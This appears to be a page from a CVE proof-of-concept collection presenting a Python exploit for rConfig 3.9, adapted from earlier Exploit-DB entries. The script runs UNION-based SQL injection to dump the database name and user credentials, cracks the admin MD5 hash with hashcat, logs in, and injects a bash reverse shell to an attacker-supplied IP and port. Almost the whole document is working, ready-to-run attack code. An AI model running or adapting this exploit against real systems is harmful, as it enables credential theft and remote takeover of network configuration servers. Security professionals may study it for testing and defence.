4837 Total CVEs
26 Years
GitHub
README.md
Rendering markdown...
POC / rConfig_rce.py PY
#!/usr/bin/env python3

"""
rConfig 3.9 - Combined SQL Injection + Command Injection PoC with Hashcat cracking

Original PoCs:
- Matthew Aberegg & Michael Burkey (Exploit-DB 48241)
  https://www.exploit-db.com/exploits/48241
- Christopher Truncer (Exploit-DB 48208)
  https://www.exploit-db.com/exploits/48208

Modifications by x7331:
- Added automatic SQLi extraction of database name and users.
- Integrated hash cracking using hashcat with best64.rules.
- If hashcat fails, suggests CrackStation online cracking and prompts for manual password input.
- Optional command injection RCE triggered with cracked/admin credentials.
- Improved error handling and user prompts for ease of use.
- Supports custom hashcat wordlist path.
"""

import requests
import sys
import urllib.parse
import subprocess
import tempfile
import os
import re
from requests.packages.urllib3.exceptions import InsecureRequestWarning

requests.packages.urllib3.disable_warnings(InsecureRequestWarning)

print("rconfig 3.9 - Combined SQLi + Command Injection PoC with hashcat cracking")

if len(sys.argv) not in [2, 4, 6]:
    print(f"Usage:\n"
          f"  {sys.argv[0]} https://target\n"
          f"  {sys.argv[0]} https://target attacker_ip attacker_port\n"
          f"  {sys.argv[0]} https://target attacker_ip attacker_port hashcat_wordlist_path\n")
    sys.exit(1)

target_base = sys.argv[1].rstrip('/')
attacker_ip = None
attacker_port = None
hashcat_wordlist = "/usr/share/wordlists/rockyou.txt"

if len(sys.argv) >= 4:
    attacker_ip = sys.argv[2]
    attacker_port = sys.argv[3]

if len(sys.argv) == 6:
    hashcat_wordlist = sys.argv[4]

# Vulnerable page and params for SQLi
vuln_page = "/commands.inc.php"
vuln_params = "?searchOption=contains&searchField=vuln&search=search&searchColumn=command"
full_url = target_base + vuln_page + vuln_params

session = requests.Session()

def extractDBinfos(session, base_url, payload):
    url = base_url + payload
    try:
        r = session.get(url, verify=False, timeout=10)
        if r.status_code != 200:
            print(f"[-] Request failed with status {r.status_code}")
            return None
        text = r.text
        # DEBUG: Uncomment the next line if extraction fails to see raw response snippet
        # print(f"[DEBUG] Response snippet: {text[:500]}")
        start = text.find("[PWN]")
        end = text.find("[PWN]", start + 1)
        if start != -1 and end != -1:
            return text[start + 5:end]
        else:
            return None
    except Exception as e:
        print(f"[-] Exception during SQLi request: {e}")
        return None

def crack_hash(hash_to_crack, wordlist_path):
    print(f"[*] Running hashcat with wordlist {wordlist_path} ...")
    with tempfile.NamedTemporaryFile(mode="w", delete=False) as hashfile:
        hashfile.write(hash_to_crack + "\n")
        hashfile_path = hashfile.name

    hashcat_cmd = [
        "hashcat",
        "-m", "0",                   # MD5 hash mode
        "-a", "0",                   # Straight attack
        hashfile_path,
        wordlist_path,
        "-r", "/usr/share/hashcat/rules/best64.rule",
        "--quiet",
        "--outfile-format=2",        # Just show plaintext
        "--outfile", hashfile_path + ".out"
    ]

    try:
        proc = subprocess.run(hashcat_cmd, capture_output=True, text=True, timeout=300)
        cracked = None
        if os.path.isfile(hashfile_path + ".out"):
            with open(hashfile_path + ".out") as f:
                for line in f:
                    line = line.strip()
                    if line:
                        cracked = line
                        break
        os.unlink(hashfile_path)
        if os.path.isfile(hashfile_path + ".out"):
            os.unlink(hashfile_path + ".out")
        if cracked:
            print(f"[+] Hash cracked: {cracked}")
            return cracked
        else:
            print("[!] Hashcat did not crack the hash.")
            return None
    except Exception as e:
        print(f"[!] Error running hashcat: {e}")
        return None

def command_injection_rce(host, username, password, ip, port):
    print("[*] Attempting command injection RCE with admin credentials...")
    login_url = host + "/lib/crud/userprocess.php"
    payload = f"|| bash -i >& /dev/tcp/{ip}/{port} 0>&1 ;"
    encoded_payload = urllib.parse.quote_plus(payload)

    s = requests.Session()

    res = s.post(
        login_url,
        data={
            'user': username,
            'pass': password,
            'sublogin': 1
        },
        verify=False,
        allow_redirects=True,
        timeout=10
    )

    if res.status_code != 200:
        print(f"[-] Failed to login: HTTP {res.status_code}")
        return False

    injection_url = (f"{host}/lib/crud/search.crud.php?searchTerm=test&catId=2&numLineStr=&"
                     f"nodeId={encoded_payload}&catCommand=showcdpneigh*.txt&noLines=")
    res = s.get(injection_url, verify=False, timeout=10)

    if res.status_code == 200:
        print("[+] Command injection triggered, check your listener for the reverse shell!")
        return True
    else:
        print(f"[-] Injection request failed with status {res.status_code}")
        return False

def main():
    print("[*] Extracting database name via SQLi...")
    db_payload = "%20UNION%20ALL%20SELECT%20(SELECT%20CONCAT(0x223E3C42523E5B50574E5D,database(),0x5B50574E5D3C42523E)%20limit%200,1),NULL--"
    db_name = extractDBinfos(session, target_base + vuln_page + vuln_params, db_payload)

    if not db_name:
        print("[-] Failed to extract database name.")
        sys.exit(1)

    print(f"[+] Database name: {db_name}")

    print("[*] Extracting users via SQLi...")
    users = []
    for i in range(0, 10):
        user_payload = (f"%20UNION%20ALL%20SELECT%20(SELECT%20CONCAT(0x223E3C42523E5B50574E5D,username,0x3A,id,0x3A,password,0x5B50574E5D3C42523E)%20FROM%20"
                        f"{db_name}.users+limit+{i},1),NULL--")
        user = extractDBinfos(session, target_base + vuln_page + vuln_params, user_payload)
        if user and user != "Maybe no more information":
            users.append(user)
        else:
            break

    if not users:
        print("[-] No users extracted.")
        sys.exit(1)

    print("[+] Users found:")
    for u in users:
        print(f"   {u}")

    # Parse for admin creds
    admin_line = None
    for u in users:
        if u.startswith("admin:"):
            admin_line = u
            break

    if not admin_line:
        print("[!] Admin user not found, cannot proceed with RCE without creds.")
        if not attacker_ip or not attacker_port:
            print("[*] No attacker IP and port provided. Exiting after dumping credentials.")
        sys.exit(0)

    parts = admin_line.split(":")
    if len(parts) < 3:
        print("[!] Admin line malformed, cannot extract password hash.")
        sys.exit(1)

    admin_user = parts[0]
    admin_hash = parts[2]

    cracked_password = crack_hash(admin_hash, hashcat_wordlist)
    if not cracked_password:
        print("[!] Could not crack admin password hash with hashcat.")
        print("[!] Try cracking it using online services like CrackStation: https://crackstation.net/")
        cracked_password = input("[?] Please enter the admin password manually to continue (or leave blank to exit): ").strip()
        if not cracked_password:
            print("[*] No password provided. Exiting.")
            sys.exit(0)

    print(f"[*] Admin credentials found: username='{admin_user}' password='{cracked_password}'")

    if attacker_ip and attacker_port:
        if not command_injection_rce(target_base, admin_user, cracked_password, attacker_ip, attacker_port):
            print("[-] Exploit failed.")
            sys.exit(1)
        else:
            print("[+] Exploit succeeded")
    else:
        print("[*] No attacker IP and port provided. Exiting after dumping credentials.")


if __name__ == "__main__":
    main()